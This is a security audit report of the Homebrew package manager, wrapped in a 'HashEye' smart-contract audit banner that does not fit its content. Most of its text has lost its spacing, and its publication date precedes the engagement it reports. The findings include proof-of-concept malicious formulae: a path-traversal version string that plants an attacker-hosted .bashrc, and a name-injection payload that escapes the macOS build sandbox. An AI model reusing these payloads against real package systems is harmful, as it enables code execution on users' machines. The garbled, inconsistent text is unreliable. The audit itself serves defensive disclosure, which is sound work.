HashEye

// SMART CONTRACT SECURITY AUDIT

Homebrew

Security assessment by HashEye · prepared for OTF

HASHEYE AUDITED

PROJECT	Homebrew
CLIENT	OTF
CATEGORY	Blockchain
PUBLISHED	August 1, 2023
REPORT ID	research-homebrew-2023-08-01-128i8s

This report was produced under HashEye's layered review process — **automated detection**, **pattern correlation**, and **senior manual verification** — with every finding signed off by a human reviewer. Full findings detail and on-chain attestation are available on the report page at hasheye.io/audits/research-homebrew-2023-08-01-128i8s.

Homebrew SecurityAssessment July26,2024 Preparedfor: PatrickLinnane Homebrew OrganizedbytheOpenTechnologyFund Preparedby:WilliamWoodruff,SamAlws,andWilliamTan

Abouthasheye Foundedin2012andheadquarteredinNewYork,hasheyeprovidestechnicalsecurity assessmentandadvisoryservicestosomeoftheworld'smosttargetedorganizations.We combinehigh-endsecurityresearchwithareal -worldattackermentalitytoreduceriskand fortifycode.With100+employeesaroundtheglobe,we'vehelpedsecurecriticalsoftware elementsthatsupportbillionsofendusers,includingKubernetesandtheLinuxkernel. Wemaintainanexhaustivelistofpublicationsathttps://github.com/hasheye-io/publications, withlinkstopapers,presentations,publicauditreports,andpodcastappearances. Inrecentyears,hasheyeconsultantshaveshowcasedcutting-edgeresearchthrough presentationsatCanSecWest,HCSS,Devcon,EmpireHacking,GrrCon,LangSec,NorthSec, theO'ReillySecurityConference,PyCon,REcon,SecurityBSides,andSummerCon. Wespecializeinsoftwaretestingandcodereviewprojects,supportingclientorganizations inthetechnology,defense,andfinanceindustries,aswellasgovernmententities.Notable clientsincludeHashiCorp,Google,Microsoft,WesternDigital,andZoom. hasheyealsooperatesacenterofexcellencewithregardtoblockchainsecurity.Notable projectsincludeauditsofAlgorand,BitcoinSV,Chainlink,Compound,Ethereum2.0, MakerDAO,Matic,Uniswap,Web3,andZcash. Tokeepuptodatewithourlatestnewsandannouncements,pleasefollowhasheyeon Twitterandexploreourpublicrepositoriesathttps://github.com/hasheye-io.Toengageus directly,visitour"Contact"pageathttps://www.hasheye.io/contact,oremailusat info@hasheye.io. hasheye,Inc. 228ParkAveS#80688 NewYork,NY10003 https://www.hasheye.io info@hasheye.io hasheye 1HomebrewSecurityAssessment PUBLIC

NoticesandRemarks CopyrightandDistribution Thisreportisconsideredbyhasheyetobepublicinformation;itislicensedtoOTFunder thetermsoftheprojectstatementofworkandhasbeenmadepublicatOTF'srequest. Materialwithinthisreportmaynotbereproducedordistributedinpartorinwhole withouttheexpresswrittenpermissionofhasheye. Thesolecanonicalsourceforhasheyepublicationsisthehasheyepublicationspage. Reportsaccessedthroughanysourceotherthanthatpagemayhavebeenmodifiedand shouldnotbeconsideredauthentic. TestCoverageDisclaimer Allactivitiesundertakenbyhasheyeinassociationwiththisprojectwereperformedin accordancewithastatementofworkandagreeduponprojectplan. Securityassessmentprojectsaretime-boxedandoftenreliantoninformationthatmaybe providedbyaclient,itsaffiliates,oritspartners.Asaresult,thefindingsdocumentedin thisreportshouldnotbeconsideredacomprehensivelistofsecurityissues,flaws,or defectsinthetargetsystemorcodebase. hasheyeusesautomatedtestingtechniquestorapidlytestthecontrolsandsecurity propertiesofsoftware.Thesetechniquesaugmentourmanualsecurityreviewwork,but eachhasitslimitations:forexample,atoolmaynotgeneratearandomedgecasethat violatesapropertyormaynotfullycompleteitsanalysisduringtheallottedtime.Theiruse isalsolimitedbythetimeandresourceconstraintsofaproject. hasheye 2HomebrewSecurityAssessment PUBLIC

TableofContents

ProjectSummary ContactInformation Thefollowingmanagerswereassociatedwiththisproject:
DanGuido,AccountManagerJeffBraswell,ProjectManager dan@hasheye.iojeff.braswell@hasheye.io
Thefollowingengineerswereassociatedwiththisproject: WilliamWoodruff,ConsultantSamAlws,Consultant
william.woodruff@hasheye.iosam.alws@hasheye.io WilliamTan,Consultant william.tan@hasheye.io
ProjectTimeline Thesignificanteventsandmilestonesoftheprojectarelistedbelow. DateEvent
August10,2023Pre-projectkickoffcall August21,2023Statusupdatemeeting#1
August28,2023Deliveryofreportdraft August28,2023Reportreadoutmeeting
July26,2024Deliveryofcomprehensivereport hasheye 5HomebrewSecurityAssessment PUBLIC

ExecutiveSummary EngagementOverview
OTFengagedhasheyetoreviewthesecurityofHomebrew,apackagemanagerfor MacOSandLinux.
AteamofthreeconsultantsconductedthereviewfromAugust14toAugust25,2023,fora totalofsixengineer-
weeksofeffort.Ourtestingeffortsfocusedonthecorepackage
manager,alongwithHomebrew’suseofCI/CDforbuildautomation,aswellasitsnewly
releasedJSONAPIforformulae.Withfullaccesstosourcecodeanddocumentation,we
performedstaticanddynamictestingofthecodebasesunderscope,usingautomatedand manualprocesses.
ObservationsandImpact Wefoundmultipleissuesallowinganattackertoescapethebuildsandbox(TOB-BREW-2,
TOB-BREW-3,TOB-BREW-11,TOB-BREW-14),andotherissuesallowinganattackerto
compromisetheCI/CDworkflow(TOB-BREW-18,TOB-BREW-19,TOB-BREW-23).Insome
cases,thiscanbedonesurreptitiously.WealsofoundthatHomebrew’sthreatmodelis
oftenunclearandreliesheavilyonmanualreview. Recommendations
Basedonthecodebasematurityevaluationandfindingsidentifiedduringthesecurity
review,hasheyerecommendsthattheHomebrewdeveloperstakethefollowingsteps: •
Remediatethefindingsdisclosedinthisreport.Thesefindingsshouldbe
addressedaspartofadirectremediationoraspartofanyrefactorthatmayoccur
whenaddressingotherrecommendations. •
DocumentHomebrew’ssecuritymodel.Itshouldbeclearlywrittenthat,for example,Homebrew-
coreformulaeareconsideredtrustedwhilethird-party
formulaearenot;formuladefinitionfilescanexecuteunsandboxedcodewhile
formulabuildsaresandboxed;andcasksaregivenawiderangeofpermissionsand
relyonmanualreviewtoensuresafety.DocumentingHomebrew’ssecuritymodel
wouldallowabeginningusertobetterunderstandtherisksassociatedwithusing
thesoftware,andfordeveloperstowritecodethatlinesupwiththecurrentsecurity guarantees.
Inadditiontotheserecommendations,wehaveincludedalistofcode-quality recommendationsinappendixD.
hasheye 6HomebrewSecurityAssessment PUBLIC

FindingSeveritiesandCategories Thefollowingtablesprovidethenumberoffindingsbyseverityandcategory.
EXPOSUREANALYSIS SeverityCount High0 Medium14 Low2 Informational7 Undetermined2 CATEGORYBREAKDOWN
CategoryCount AccessControls11 Cryptography4 DataValidation6 ErrorHandling1 Patching3 hasheye
7HomebrewSecurityAssessment PUBLIC

ProjectGoals Theengagementwasscopedtoprovideasecurityassessmentof Homebrew.Specifically,
wesoughttoanswerthefollowingnon-exhaustivelistofquestions: •
Arethedependenciesusedsecureanduptodate? • Arethesystemarchitectureanddesignfoundationallysecure? •
Istheinstallationflowforpackagesimplementedinasecuremanner? •
Doestheinstallationflowforpackagescorrectlyandsecurelyleveragetheformula RESTAPI? • Doestheprivacy-
preservinganalyticsinfrastructuredeliveronprivacyandsecurity commitments? •
Isitpossibletorevealprivateinformationormaketheanalyticsinfrastructure discloseprivateinformation?
• Arethesandboxingandisolationmechanismsimplementedinasecuremanner? •
Canthesandboxingandisolationmechanismsbemanipulatedtoescapethe
isolatingsecuritycontrolsandgainunauthorizedaccess? •
Doestheisolationandsandboxingprocessadequatelypreventescapesandenable
truthfulreportingontheinstallstateofsoftware? •
AreRESTAPIinteractionssignedandencryptedusingcryptographicbestpractices? •
Arethereanydataleaksordatadumpstounknownorunauthorizedsources? •
Cansecurityconstraints,especiallyinservinganddownloadingfilesandcontent,be bypassed? •
Aretherareaswithinownershipandaccessthatmaybecompromisedoraltered
tocauseadversestates,access,orexploitation? • Couldthesystemexperienceadenialofservice? •

Areallinputsandsystemparametersproperlyvalidated? • Doesthecodebaseconformtoindustrybestpractices? • ArethereanyareasofimprovementfortheCICDorSDLC? hasheye 8HomebrewSecurityAssessment PUBLIC

hasheye 9HomebrewSecurityAssessment PUBLIC

ProjectTargets Theengagementinvolvedareviewandtestingofthetargetslistedbelow. brew Repositoryhttps://github.com/Homebrew/brew Version 237d1e783f7ee261beaba7d3f6bde22da7148b0a TypeYAML,Ruby,GNUBash,POSIXsh PlatformMac,Linux actions Repositoryhttps://github.com/Homebrew/actions Version 68e149155b7dada57303f52b421a4cb7e0638930 TypeYAML,JS,GNUBash,POSIXsh PlatformGithubActions formulae.brew.sh Repositoryhttps://github.com/Homebrew/formulae.brew.sh Version 62598db70ba46549b3bccca75797a113bf932aca TypeYAML,HTML,Ruby PlatformWeb homebrew-test-bot Repositoryhttps://github.com/Homebrew/homebrew-test-bot Version 90e9913d07e6364bd3b53c6df55db4adbcf1dc26 TypeYAML,Ruby PlatformMac,Linux hasheye 10HomebrewSecurityAssessment PUBLIC

ProjectCoverage Thissectionprovidesanoverviewoftheanalysiscoverageofthereview,asdeterminedby ourhigh-levelengagementgoals.Ourapproachesincludedthefollowing: • UseofSemgreponthe brew , actions , formulae.brew.sh ,and homebrew-test-bot repositories • Useofactionlint,whichscansforGithubActionsissues,onthe brew , actions , formulae.brew.sh ,and homebrew-test-bot repositories • Amanualreviewofthe brew , actions , formulae.brew.sh ,and homebrew-test-bot repositories,withafocusontheProjectGoals • AmanualreviewofHomebrew’sownunittestsanduseofitsowncodequality tooling,includingRuboCopandSorbet CoverageLimitations Becauseofthetime-boxednatureoftestingwork,itiscommontoencountercoverage limitations.Thefollowinglistoutlinesthecoveragelimitationsoftheengagementand indicatessystemelementsthatmaywarrantfurtherreview: • WeevaluatedtheHomebrewtestsuiteforcoverage,butnotforoverall thoroughness. • Wedidnotevaluatethecompletenessof Homebrew’sloggininginformation,andin particularwhetherthisinformationwouldbesufficienttoperformincidentanalysis ontheCI/CDpipeline. • WedidnotfullyevaluateeachofHomebrew’sdependenciestoensurethattheyare secureanduptodate. hasheye 11HomebrewSecurityAssessment PUBLIC

AutomatedTesting hasheyeusesautomatedtechniquestoextensivelytestthesecuritypropertiesof software.Weusebothopen-sourcestaticanalysisandfuzzingutilities,alongwithtools developedinhouse,toperformautomatedtestingofsourcecodeandcompiledsoftware. TestHarnessConfiguration Weusedthefollowingtoolsintheautomatedtestingphaseofthisproject: ToolDescriptionPolicy SemgrepAnopen-sourcestaticanalysistoolforfindingbugsand enforcingcodestandardswheneditingorcommittingcode andduringbuildtime AppendixC ActionlintAtoolthatscansforGithubActionsissuesAppendixC hasheye 12HomebrewSecurityAssessment PUBLIC

CodebaseMaturityEvaluation hasheyeusesatraffic-lightprotocoltoprovideeachclientwithaclearunderstandingof theareasinwhichitscodebaseismature,immature,orunderdeveloped.Deficiencies identifiedhereoftenstemfromrootcauseswithinthesoftwaredevelopmentlifecyclethat shouldbeaddressedthroughstandardizationmeasures(e.g.,theuseofcommonlibraries, functions,orframeworks)ortrainingandawarenessprograms. CategorySummaryResult ArithmeticDuetothenatureoftheproject,Homebrewmakesvery limiteduseofarithmetic.Wefoundnoproblemsrelated toarithmetic. Not Applicable AuditingLogdensityandqualityofinformationloggedseems sufficient.However,wedidnottrytoverifyifthatistrue forallexecutionpathsandifallinformationrequiredto performincidentresponseisalwayslogged. Further Investigation Required Authentication/ AccessControls Homebrew’ssecuritymodelisoftenambiguousandleft undocumented.AsmentionedintheExecutiveSummary, werecommendprovidingexplicitdocumentationon Homebrew’ssecuritymodel. Wefoundmultiplewaysforpackagestoescalatetheir privileges.Somerequireobviouslycompromisedformula specificationRubyfiles(TOB-BREW-1,TOB-BREW-2, TOB-BREW-12,TOB-BREW-16).However,multiple findingsallowforprivilegeescalationsthatcouldeasily gounnoticedbymaintainers(TOB-BREW-11, TOB-BREW-7,TOB-BREW-14,TOB-BREW-3,TOB-BREW-6). Weak Complexity Management Homebrew’scodebasesarewell-organizedandreadable. Functionalityisdividedupwellamongtheclasses,and thecodebasesgenerallyavoidover-abstraction. Strong ConfigurationWefoundissuesrelatedtotheconfigurationoftheApple sandbox-execsystem(TOB-BREW-11,TOB-BREW-14, TOB-BREW-3,TOB-BREW-2),ofGitHubActionsworkflows (TOB-BREW-18,TOB-BREW-19,TOB-BREW-23),andof Gemfiles(TOB-BREW-20).Ingeneral,manyofourfindings wereconnectedinsomewaytoinsufficientvalidation, Weak hasheye 13HomebrewSecurityAssessment PUBLIC

normalization,orescapingofconfigurationinputs. Cryptography andKey Management Wefoundfourissuesrelatedtothechoiceof cryptographicfunctionsandprimitives(TOB-BREW-5, TOB-BREW-

21,TOB-BREW-24,TOB-BREW-25).Asidefrom theseissues,wefoundthatHomebrewgenerally performsallcurrentlyimplementedcryptography securely. Moderate DataHandlingIngeneral,userinputsaretrustedextensivelyinthe Homebrewcodebases.Wefoundmultipleissueswhere inputswerenotcorrectlyvalidated,resultinginstring injectionandpathtraversalvulnerabilities(TOB-BREW-1, TOB-BREW-2,TOB-BREW-4,TOB-BREW-16).Wefound issueswherefunctionsorcommandsthatshouldberun onlyontrustedinputswereinsteadrunonuntrusted inputs(TOB-BREW-7,TOB-BREW-9,andsomewhat TOB-BREW-6).Wealsofoundthatcertainformula resourcesarenotvalidated(TOB-BREW-8)andthat certainformulasourcesthatshouldbeblocked(SFTP, SCP,IMAP,FTPS,etc.)arenotblocked(TOB-BREW-13). Weak DocumentationHomebrewprovidessufficientdocumentationforusers andforpackagedevelopers.Asforthecodebases, commentscanbesparseinsomeareas,butthereare generallyenoughcomments(andwell-namedvariables andfunctions)tounderstandthecode. Satisfactory MaintenanceIn homebrew-core ,theBrewTestBotisusedto automaticallyopenPRstobumppackages,aswellasto testPRbuilds.InotherHomebrewrepositories, DependabotisusedtoautomaticallybumpdependenciesinGemfiles.However,wefoundsome issueswithHomebrew’sdependencymanagement: Homebrewsupportsonlyend-of-lifeversionsofRuby (TOB-BREW-15)andusesunpinneddependenciesand workflows(TOB-BREW-20,TOB-BREW-19). Moderate MemorySafety andError Handling Ingeneral,Homebrewcorrectlychecksforerrorsand handlesthembyexitingoutfromthecurrentprocess. However,wefoundoneissuewhereerrorsareignored whendeletingfiles(TOB-BREW-17). Satisfactory hasheye 14HomebrewSecurityAssessment PUBLIC

Testingand Verification Thecodebaseiscoveredbyalargenumberoftests.We determinedthatthesetestscoverapproximately66%of theHomebrew/brewcodebase,includingmuchofthe coreapplicationlogic.However,wefoundthatthe remaining34%ofthecodebasecouldusecoverage. Moderate hasheye 15HomebrewSecurityAssessment PUBLIC

SummaryofFindings Thetablebelowsummarizesthefindingsofthereview,includingtypeandseveritydetails. IDTitleTypeSeverity 1PathtraversalduringfilecachingAccessControlsMedium 2SandboxescapeviastringinjectionAccessControlsMedium 3Allowdefaultruleinsandboxconfigurationis overlypermissive AccessControlsLow 4Specialcharactersareallowedinpackagenames andversions DataValidationInformational 5UseofweakcryptographicdigestinFormulary namespaces CryptographyMedium 6ExtractionisnotsandboxedAccessControlsMedium 7UseofldonuntrustedinputsDataValidationMedium 8Formulasallowforexternalresourcestobe downloadedduringtheinstallstep AccessControlsMedium 9UseofMarshalDataValidationUndetermined 10LackofsandboxingonLinuxAccessControlsMedium 11Sandboxescapethroughdomainsocketpivoton macOS AccessControlsMedium 12FormulaprivilegeescalationthroughsudoAccessControlsMedium hasheye 16HomebrewSecurityAssessment PUBLIC

13FormulaloadingthroughSFTP,SCP,andother protocols AccessControlsMedium 14Sandboxallowschangingpermissionsfor importantdirectories AccessControlsMedium 15Homebrewonlysupportsend-of-lifeversionsof Ruby PatchingInformational 16PathtraversalduringbottlingDataValidationInformational 17FileUtils.rm_rfdoesnotcheckiffilesaredeletedErrorHandlingUndetermined 18Useofpull_request_targetinGitHubActions workflows AccessControlsMedium 19Useofunpinnedthird-partyworkflowPatchingLow 20Unpinneddependenciesinformulae.brew.shPatchingMedium 21UseofRSAforJSONAPIsigningCryptographyInformational 22Bottlesbeginning“-”canleadtounintended optionsgettingpassedtorm DataValidationInformational 23CodeinjectionthroughinputsinmultipleactionsDataValidationMedium 24UseofPGPforcommitsigningCryptographyInformational 25Unnecessarydomainseparationbetweensigning keyandkeyID CryptographyInformational hasheye 17HomebrewSecurityAssessment PUBLIC

DetailedFindings 1.Pathtraversalduringfilecaching Severity:MediumDifficulty:Low Type:AccessControlsFindingID:TOB-BREW-1 Target: brew/Library/Homebrew/download_strategy.rb Description Apathtraversalwhencreatingsymlinkstocachedfilesallowsamaliciousformulatocreate asymlinkinanarbitrarylocationtoafilewitharbitrarycontentsduringformula installation. Thefollowingcodedetermineswheretoplaceasymlinktoacacheddownloadedfile. defsymlink_location return@symlink_locationifdefined?(@symlink_location) ext=Pathname(parse_basename(url)).extname @symlink_location=@cache/"#{name}--#{version}#{ext}" end Figure1.1:Codetogeneratesymlinklocation (brew/Library/Homebrew/download_strategy.rb:287–292) However,aformula’sversionmaycontainspecialcharacters,suchasdotsandslashes(see alsoTOB-BREW-4).Thisallowsforapathtraversal. ExploitScenario Anattackercreatesapullrequeston homebrew-core attemptingtoaddthefollowing formula: #modifyBashrc.rb classModifybashrc<Formula url"https://example.com/files/.bashrc" version"/../../../../.bashrc" end Figure1.2:Maliciousformuladefinitionthatoverwrites .bashrc hasheye 18HomebrewSecurityAssessment PUBLIC

Hethenhostsamalicious .bashrc fileon https://example.com/files/.bashrc .
Wheneverthisformulaisbuilt,themalicious .bashrc filewillbedownloaded,anda symlinkfrom ~/.bashrc
tothedownloadedfilewillbecreated.
Inthiscase,itwouldbefairlyobviousfromthepackagedefinitionthatitismalicious,sothe
maintainerswouldlikelybeabletocatchitearly.Theattackermaybeabletoavoidthisby
settingtheversionsurreptitiouslyusingRubymetaprogrammingtricks,butthiswouldbe fairlydifficult.
Recommendations Shortterm,removeanyspecialcharactersfromthe version namebeforeusingitwhen
creatingthe @symlink_location path.Preferably,alsodisallowformulasfromhaving
thesespecialcharactersintheir version namesinthefirstplace(seeTOB-BREW-4).
Longterm,auditanyusesofuser-inputtedstringstocreatepaths.Ensurethattheinputis
properlysanitizedbeforebeingused. hasheye 19HomebrewSecurityAssessment PUBLIC

2.Sandboxescapeviastringinjection Severity:MediumDifficulty:Low Type:AccessControlsFindingID:TOB-
BREW-2 Target: brew/Library/Homebrew/sandbox.rb Description
Homebrewcreatesitssandboxconfigurationfileinawaythatisvulnerabletostring injection.
Thefollowingareexamplesoflinesaddedtothesandboxfilethatarevulnerableto injection.
60allow_write_path"#{Dir.home(ENV.fetch("USER"))}/.cvspass" ... 69allow_write_pathformula.rack
Figure2.1:Vulnerablesandboxconfigadditions (brew/Library/Homebrew/sandbox.rb:60,69) Because
formula.rack iswrittendirectlytotheconfigurationfile,aformulawithadouble
quoteinitsname(whichcanbeachievedbysettingthe @name variableinthe initialize
function)can“breakout”ofitsportionofthesandboxconfigurationfileandwriteitsown
customrulesallowingitselfpermissionsthatitshouldnothave.
Sandboxingwillalsobreakiftheinstallinguser’shomedirectoryhasapathwithadouble
quoteinit,oriftheHomebrewCellarhasapathwithadoublequoteinit,althoughthese
scenariosarefarlesslikely. ExploitScenario Anattackercreatesapullrequeston homebrew-core
attemptingtoaddthefollowing formula: #breakout.rb classBreakout<Formula
url"https://example.com/example-1.0.tar.gz"
definitialize(name,path,spec,alias_path:nil,tap:nil,force_bottle:false) super
@name="\"))\n(allowfile-write*(subpath\"/\"))\n(allowfile-write-setugid
(subpath\"/\"))\n(allowfile-read-data(subpath\"/dummy"
#thedummyruleattheendisneededbecausetrailing/’sgetstripped end hasheye 20HomebrewSecurityAssessment
PUBLIC

definstall system"make","install" end end Figure2.2:Maliciousformulathatbreaksoutofitssandbox
Whenthisfileisbuilt,thefollowingsandboxconfigurationfileisgenerated(malicious
portionsarehighlightedinred): (version1) (debugdeny);logalldeniedoperationsto/var/log/system.log
(allowfile-write*(subpath"/private/tmp")) (allowfile-write-setugid(subpath"/private/tmp"))
(allowfile-write*(subpath"/private/var/tmp")) (allowfile-write-setugid(subpath"/private/var/tmp"))
(allowfile-write*(regex#"^/private/var/folders/[^/]+/[^/]+/[C,T]/")) (allowfile-write-
setugid(regex#"^/private/var/folders/[^/]+/[^/]+/[C,T]/")) (allowfile-write*
(subpath"/private/tmp")) (allowfile-write-setugid(subpath"/private/tmp")) (allowfile-write*
(subpath"/Users/sam/Library/Caches/Homebrew")) (allowfile-write-
setugid(subpath"/Users/sam/Library/Caches/Homebrew")) (allowfile-write*
(subpath"/Users/sam/Library/Logs/Homebrew/")) (allowfile-write*(subpath"/")) (allowfile-write-
setugid(subpath"/")) (allowfile-read-data(subpath"/dummy")) (allowfile-write-
setugid(subpath"/Users/sam/Library/Logs/Homebrew/")) (allowfile-write*(subpath"/")) (allowfile-
write-setugid(subpath"/")) (allowfile-read-data(subpath"/dummy")) (allowfile-write*
(subpath"/Users/sam/.cvspass")) (allowfile-write-setugid(subpath"/Users/sam/.cvspass")) (allowfile-
write*(subpath"/Users/sam/.fossil")) (allowfile-write-setugid(subpath"/Users/sam/.fossil"))
(allowfile-write*(subpath"/Users/sam/.fossil-journal")) (allowfile-write-
setugid(subpath"/Users/sam/.fossil-journal")) (allowfile-write*
(subpath"/Users/sam/Library/Developer")) (allowfile-write-
setugid(subpath"/Users/sam/Library/Developer")) (allowfile-write*(subpath"/opt/homebrew/Cellar/"))
(allowfile-write*(subpath"/")) (allowfile-write-setugid(subpath"/")) (allowfile-read-
data(subpath"/dummy")) (allowfile-write-setugid(subpath"/opt/homebrew/Cellar/")) (allowfile-write*
(subpath"/")) (allowfile-write-setugid(subpath"/")) (allowfile-read-data(subpath"/dummy"))
(allowfile-write*(subpath"/opt/homebrew/etc")) (allowfile-write-
setugid(subpath"/opt/homebrew/etc")) (allowfile-write*(subpath"/opt/homebrew/var")) (allowfile-
write-setugid(subpath"/opt/homebrew/var")) (allowfile-write* (literal"/dev/ptmx")
(literal"/dev/dtracehelper") (literal"/dev/null") (literal"/dev/random") hasheye
21HomebrewSecurityAssessment PUBLIC

(literal"/dev/zero") (regex#"^/dev/fd/[0-9]+$") (regex#"^/dev/tty[a-z0-9]*$")) (denyfile-
write*);denynon-allowlistfilewriteoperations (allowprocess-exec (literal"/bin/ps") (withno-sandbox)
);allowcertainprocessesrunningwithoutsandbox (allowdefault);alloweverythingelse
Figure2.3:Sandboxconfigurationfilefor Breakout formula(maliciouslinesarehighlighted) Now

makeinstall isrunwithoutanysandboxing,andtheattackergainsarbitrary unsandboxedcodeexecutionontheinstallingmachine. Inthiscase,itwouldbefairlyobviousfromthepackagedefinitionthatthepackageis malicious,sothemaintainerswouldlikelybeabletocatchitearly.Theattackermaybe abletoavoidthisbysettingthe @name variablesurreptitiouslyusingRuby metaprogrammingtricks,butthiswouldbefairlydifficult. Recommendations Shortterm,modify allow_write_path sothatitchecksforspecialcharacters(quotes, newlines,etc.)inthepathbeforeaddingitsrules.Inaddition,alsoensurethatspecial charactersareremovedfromaformula's @name beforecreatingaformula'skegpath. Preferably,alsodisallowformulasfromhavingthesespecialcharactersintheirnamesin thefirstplace(seeTOB-BREW-4). Longterm,auditanyusesofuser-inputtedstringstocreatepaths.Ensurethattheinputis properlysanitizedbeforebeingused. hasheye 22HomebrewSecurityAssessment PUBLIC

3.Allowdefaultruleinsandboxconfigurationisoverlypermissive Severity:LowDifficulty:Low Type:AccessControlsFindingID:TOB-BREW-3 Target: brew/Library/Homebrew/sandbox.rb Description Currently,thesandboxconfigurationforHomebrewincludestherule (allowdefault) , whichleavessomeofApple'ssandboxingfeaturesunused,andwhichallowsformulabuild scriptstohavemultiplepermissionsthattheydonotneed: • Buildscriptshavepermissiontosendsignalstoprocessesoutsideoftheirprocess group.Thisallowsthemtokillprocessesbelongingtotheuser. • Buildscriptshavepermissiontosendnetworkrequests.Asidefromallowingforfile downloadswithoutintegritychecks(seeTOB-BREW-8),thisalsoallowsbuildscripts tosendrequeststolocalhostports.Thiscouldpotentiallyallowforformulasto exploitvulnerablesoftwarerunninglocally,andtoaccessportsthatareordinarily blockedfromexternalattackersbythefirewall. • Buildscriptshavepermissiontorebootthehostmachine.Thisabilityismitigatedby thefactthat,typically,theuserrunning brewinstall doesnothavepermissionto call reboot ,meaningthatthebuildscriptcannotcall reboot either. ExploitScenario Anattackercontrivesaformulathatinteractswiththelocalsystemviasignalsorlocal networkrequestsduringthebuildperiod,potentiallyallowingcodewithinthesandboxed buildscripttopivotoutsideofthesandbox. Recommendations GothroughApplesandboxingdocumentation(third-partydocumentationmaybe necessary)andconsiderwhichoperationscanbeblocked,banninganythatarenotneeded forHomebrewformulabuilds. References • Unofficialthird-partydocumentationonApplesandboxing:Thisisthebest documentationwecouldfindonthesubject. hasheye 23HomebrewSecurityAssessment PUBLIC

4.Specialcharactersareallowedinpackagenamesandversions Severity:InformationalDifficulty:High Type:DataValidationFindingID:TOB-BREW-4 Target:Throughoutthe brew codebase Description Homebrewneedlesslyallowsforspecialcharactersinpackagenamesandversions.While thisisnotdirectlyanissueonitsown,itleadstootherissuessuchasTOB-BREW-1, TOB-BREW-2,TOB-BREW-16,andTOB-BREW-22.Disallowingspecialcharacterswouldmake pathtraversalandstringinjectionattacksmuchmoredifficult. Recommendations Shortterm,disallowspecialcharactersinformulanamesandversions.Donotputthis checkintothe Formula classbecauseformuladefinitionscanoverwrite Formula class methods.Instead,performthecheckwheneveraformulaisabouttobeused. Longterm,ensurethatsimilarsanitizationisdoneonanyotherpotentiallymalicious values. hasheye 24HomebrewSecurityAssessment PUBLIC

5.UseofweakcryptographicdigestinFormularynamespaces Severity:MediumDifficulty:Medium Type:CryptographyFindingID:TOB-BREW-5 Target: brew/Library/Homebrew/formulary.rb Description Homebrewusestwodynamicnamespacestocacheloadedformulae: FormulaNamespace (forformulaeloadedfromtheirRubydefinitions)and FormulaNamespaceAPI (for formulaeloadedfromtheirJSONAPIspecifications).Bothofthesecreateuniquekeys undertheirnamespacesbytakingtheMD5digestofauniqueidentifierforanunderlying formula(onethatcannotdirectlybeembeddedinaRubyidentifier). namespace="FormulaNamespace#{Digest::MD5.hexdigest(path.to_s)}" Figure5.1:Loadinginto FormulaNamespace withadigestedidentifier namespace:"FormulaNamespaceAPI#{Digest::MD5.hexdigest(name)}" Figure5.2:Loadinginto FormulaNamespaceAPI withadigestedidentifier MD5isconsideredbrokenintermsofcollisionresistance,withcollisionsbeingcomputable onbasicconsumerhardware. ExploitScenario Anattackercontrivesamaliciousformulawhosepath(forlocalformulae)orname(forAPI formulae),whendigested,collideswithalegitimateformula.Whenbothformulaeare loaded,theattackermaybeabletoinduceconfusionwithinHomebrewaboutwhich formulaisbeingoperatedon. Theattacker'sjoboffindingacollisionismadeslightlymoredifficultbyrestrictionsintheir inputspace:theycanuseonlycharactersthatarevalidinaformulaname(for FormulaNamespaceAPI)orinavalidformulapath(for FormulaNamespace). hasheye 25HomebrewSecurityAssessment PUBLIC

Recommendations Switchtoadigestfunctionthatisconsideredresistanttocollisions,suchasSHA-256. Alternatively,developapathornamenormalizationschemethatproducesvalidRuby identifiers,sothatahashfunctiondoesnotneedtobeused. hasheye 26HomebrewSecurityAssessment PUBLIC

6.Extractionisnotsandboxed Severity:MediumDifficulty:High Type:AccessControlsFindingID:TOB-BREW-6 Target: brew/Library/Homebrew/formula_installer.rb , brew/Library/Homebrew/download_strategy.rb Description Homebrewsupportsmanydifferentarchiveformatsforsourcearchivesthatshouldbe considereduntrustworthy.Theunpackingprocessshouldalsoberununderasandboxin ordertopreventintentionalorunintentionalfilewritesoutsideofexpecteddirectories. #@apipublic defstage(&block) UnpackStrategy.detect(cached_location, prioritize_extension:true, ref_type:@ref_type,ref:@ref) .extract_nestedly(basename:basename, prioritize_extension:true, verbose:verbose?&&!quiet?) chdir(&block)ifblock end Figure6.1:This stage functionunpackspotentiallyuntrustedsourcearchiveswithouta sandbox ExploitScenario Anattackerconstructsasourcearchiveusingoneofthemanysupportedformatsthatcan induceanarbitraryfilewrite.Weanalyzedafewofthecommonformatsthathaveallowed thistypeofattackinthepast(namelytar,7z,andrar),whichallnowseemtomitigatethis typeofattack,butfutureunpackersorlatentbugsintheexistingunpackersmayallowfor anattackertoperformanarbitraryfilewrite. Recommendations Shortterm,Homebrewshouldensurethatthesupportedunpackersprotectagainstthis typeofattack. Longterm,Homebrewshouldsandboxtheunpackingprocess. hasheye 27HomebrewSecurityAssessment PUBLIC

7.Useoflddonuntrustedinputs Severity:MediumDifficulty:Low Type:DataValidationFindingID:TOB-BREW-7 Target: brew/Library/Homebrew/os/linux/elf.rb Description OnLinux,Homebrewuses ldd tolistthedynamicdependenciesofanexecutable(i.e.,the sharedlibrariesthatitdeclaresasdependencies): ldd=DevelopmentTools.locate"ldd" ldd_output=Utils.popen_read(ldd,path.expand_path.to_s).split("\n") Figure7.1:Using ldd tocollectsharedobjectdependencies ThismetadataisproducedforallELFfilesinabinary,aspartofprovidingtheLinux equivalentofHomebrew-on-Ruby’sbinaryrelocationfunctionality. Running ldd canresultinarbitrarycodeexecutionwhenabinaryhasacustomELF interpreterspecified.Thismayallowamaliciousbottletorunarbitrarycodeoutsideofthe contextoftheinstallingsandbox(sincerelocationisnotsandboxed)withrelativestealth (sincenocodeisobviouslyexecuted). ExploitScenario AnattackercontrivesanELFbinarywithacustom .interp section,enablingarbitrarycode execution.ThisexecutionoccurssurreptitiouslyduringHomebrew’sbinaryrelocation phase,beforetheuserexpectsanyformula-providedexecutablestorun. Recommendations Shortterm,HomebrewcancheckanELF’sinterpreter(inthe .interp section)before loadingitwith ldd and,ifitappearstobeanon-standardinterpreter,refusetohandleit. Longterm,Homebrewcanreplace ldd withsimilarinspectiontools,suchas readelf or objdump .Botharecapableofcollectingabinary’sdynamiclinkageswithoutarbitrarycode execution. hasheye 28HomebrewSecurityAssessment PUBLIC

